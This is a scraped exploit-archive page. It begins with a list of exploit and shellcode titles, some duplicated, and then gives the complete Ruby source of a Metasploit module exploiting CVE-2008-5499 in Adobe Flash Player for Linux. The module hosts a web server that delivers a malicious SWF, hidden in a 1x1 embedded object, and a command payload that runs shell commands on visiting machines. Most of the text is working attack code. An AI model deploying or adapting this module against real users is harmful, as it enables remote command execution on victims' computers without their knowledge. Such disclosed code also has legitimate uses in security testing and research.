
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
106 lines
No EOL
3.2 KiB
Ruby
Executable file
106 lines
No EOL
3.2 KiB
Ruby
Executable file
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Adobe Flash Player ActionScript Launch Command Execution Vulnerability',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in Adobe Flash Player for Linux,
|
|
version 10.0.12.36 and 9.0.151.0 and prior.
|
|
An input validation vulnerability allows command execution when the browser
|
|
loads a SWF file which contains shell metacharacters in the arguments to
|
|
the ActionScript launch method.
|
|
|
|
The victim must have Adobe AIR installed for the exploit to work. This module
|
|
was tested against version 10.0.12.36 (10r12_36).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'0a29406d9794e4f9b30b3c5d6702c708', # Metasploit version
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2008-5499'],
|
|
['OSVDB', '50796'],
|
|
['URL', 'http://www.adobe.com/support/security/bulletins/apsb08-24.html'],
|
|
['URL', 'https://www.securityfocus.com/bid/32896/exploit']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'HTTP::compression' => 'gzip',
|
|
'HTTP::chunked' => true
|
|
},
|
|
'Platform' => 'unix', # so unix cmd exec payloads are ok
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', {}],
|
|
],
|
|
'DisclosureDate' => 'Dec 17 2008',
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
def exploit
|
|
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5499.swf" )
|
|
fd = File.open( path, "rb" )
|
|
@swf = fd.read(fd.stat.size)
|
|
fd.close
|
|
|
|
super
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"
|
|
trigger = @swf
|
|
trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
|
|
|
|
obj_id = rand_text_alpha(rand(6)+3)
|
|
|
|
if request.uri.match(/\.swf/i)
|
|
print_status("#{msg} Sending Exploit SWF")
|
|
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
|
|
return
|
|
end
|
|
|
|
if request.uri.match(/\.txt/i)
|
|
send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })
|
|
return
|
|
end
|
|
|
|
html = <<-EOS
|
|
<html>
|
|
<head>
|
|
</head>
|
|
<body>
|
|
<center>
|
|
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="#{obj_id}" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
|
|
<param name="movie" value="#{get_resource}#{trigger_file}" />
|
|
<embed src="#{get_resource}#{trigger_file}" quality="high" width="1" height="1" name="#{obj_id}" align="middle" allowNetworking="all"
|
|
type="application/x-shockwave-flash"
|
|
pluginspage="http://www.macromedia.com/go/getflashplayer">
|
|
</embed>
|
|
|
|
</object>
|
|
</center>
|
|
|
|
</body>
|
|
</html>
|
|
EOS
|
|
|
|
print_status("#{msg} Sending HTML...")
|
|
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
|
end
|
|
end |